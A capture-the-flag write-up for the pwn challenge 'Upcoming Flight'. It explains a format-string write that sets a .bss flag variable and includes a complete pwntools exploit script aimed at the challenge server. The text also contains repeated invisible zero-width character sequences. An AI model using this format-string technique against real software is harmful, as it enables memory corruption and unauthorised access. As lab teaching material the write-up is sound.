← Back to Writeups
CUSTOMEasypwn

Upcoming Flight (Предстоящий полет)

XESXOR9/2/20264 min read
#pwn#custom#easy#arbitrary_write#format_string_write

Upcoming Flight (Предстоящий полет)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: arbitrary_write, format_string_write

Summary

Task: 64-bit ELF binary with format string vulnerability in printf(user_input) and global variable controlling flag access. Solution: Use format string write (%n) to overwrite has_ticket variable in .bss section, then trigger arrive() function to get the flag.

Upcoming Flight (Предстоящий полет) — duckerz CTF

Description

Наш герой - это обычный парень, с обычного города N. Он работает на обычной работе и проживает обычную жизнь и, в целом, не жалуется. Но однажды — кто знает, откуда берутся подобные мысли? — его посетила идея, странная, абсурдная и даже несколько пугающая. "А что, если стать хакером?". Зачем? Почему? Разве подобные вопросы имеют значение? Возможно, это было бегство, вызов, мятеж, — быть может, даже нечто демоническое.

Сказано - сделано, парень днями и ночами сидел за книгами и различными видео на всем известной площадке. Цель его была проста и дерзка: улететь в отпуск, не потратив ни копейки. Ни малейшего намёка на законность, ни малейшего страха перед последствиями. Казалось, всё его существо слилось в этой безумной идее.

Прошел год, парень поднаторел и решил, что пора. Так он и оказался в аэропорту и начал думать, что же ему делать дальше...

Remote: nc tasks.duckerz.ru 30011 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary Structure

64-bit ELF with three main functions:

  • main: Menu with 3 options (flight board, print ticket, boarding)
  • print_ticket: Contains format string vulnerability and buffer overflow via gets()
  • arrive: Checks global variable has_ticket, if != 0 calls system("cat flag")

Key Addresses

  • has_ticket: global variable in .bss at address 0x404089 (1 byte)

Vulnerabilities

In print_ticket function:

  1. fgets reads 32 bytes into buffer at -0x50(%rbp) — safe
  2. printf(buffer) — FORMAT STRING VULNERABILITY — user input passed directly to printf
  3. gets reads into buffer at -0x30(%rbp) — buffer overflow (but stack canary is present)
  4. Checks has_ticket — if != 0, prints "Take your ticket" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In arrive function:

  • Checks has_ticket at address 0x404089
  • If has_ticket != 0: calls system("cat flag") and exit(0)
  • If has_ticket == 0: prints error message

Exploitation Strategy

  1. Use format string vulnerability to write a non-zero value to has_ticket (0x404089)
  2. Select option 3 (boarding) to call arrive, which will print the flag

Format String Offset Calculation

  • User input starts at position 6 on the stack
  • Payload structure: [format_string][padding][address]
  • Address is placed at bytes 24-31, which corresponds to position 9 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

python
#!/usr/bin/env python3
from pwn import *
import struct

# Target address: has_ticket global variable in .bss
addr = 0x404089

# Format string payload:
# %10c  - print 10 characters (padding a stack value)
# %9$n  - write the count (10) to address at stack position 9
fmt = b"%10c%9$n"  # 8 bytes

# Padding to align address at position 9 (bytes 24-31)
padding = b"A" * (24 - len(fmt))  # 16 bytes

# Target address in little-endian
addr_bytes = struct.pack("<Q", addr)  # 8 bytes

# Final payload: 32 bytes total
payload = fmt + padding + addr_bytes
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Connect to remote
r = remote('tasks.duckerz.ru', 30011)

# Select option 2: Print ticket
r.recvuntil(b'> ')
r.sendline(b'2')

# Send format string payload
r.recvuntil(b': ')
r.sendline(payload)

# Skip the gets() prompt (just send empty or anything)
r.recvuntil(b'> ')

# Select option 3: Boarding - triggers arrive() which checks has_ticket
r.sendline(b'3')

# Receive flag
print(r.recvall().decode())

Technical Details

Why the Payload Works

  1. %10c — prints 10 characters (pads a stack value to 10 characters)
  2. %9$n — writes the number of printed characters (10) to the address at stack position 9
  3. Address 0x404089 contains null bytes, but they come AFTER the format string, so printf processes the specifiers before encountering the null ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload Memory Layout

Offset:  0        8        16       24       32
         |--------|--------|--------|--------|
Content: %10c%9$n AAAAAAAA AAAAAAAA \x89\x40\x40\x00...
         ^format  ^padding          ^address (pos 9)

Stack at printf Call

Position 1-5: saved registers, return address, etc.
Position 6:   start of our buffer (format string)
Position 7:   buffer + 8
Position 8:   buffer + 16
Position 9:   buffer + 24 <- our address is here

Alternative Approaches

  1. Buffer overflow via gets() — possible, but protected by stack canary
  2. Leak canary via format string — possible, but overkill for this task
  3. GOT overwrite — possible, but modifying has_ticket is simpler ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons

  • Format string vulnerabilities allow writing arbitrary values to arbitrary addresses
  • When the address contains null bytes, place it at the end of the payload so the format string is processed first
  • Global variables in .bss can be modified via format string, even if they are not on the stack
  • Always check what conditions are needed to get the flag — sometimes changing one byte is enough ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍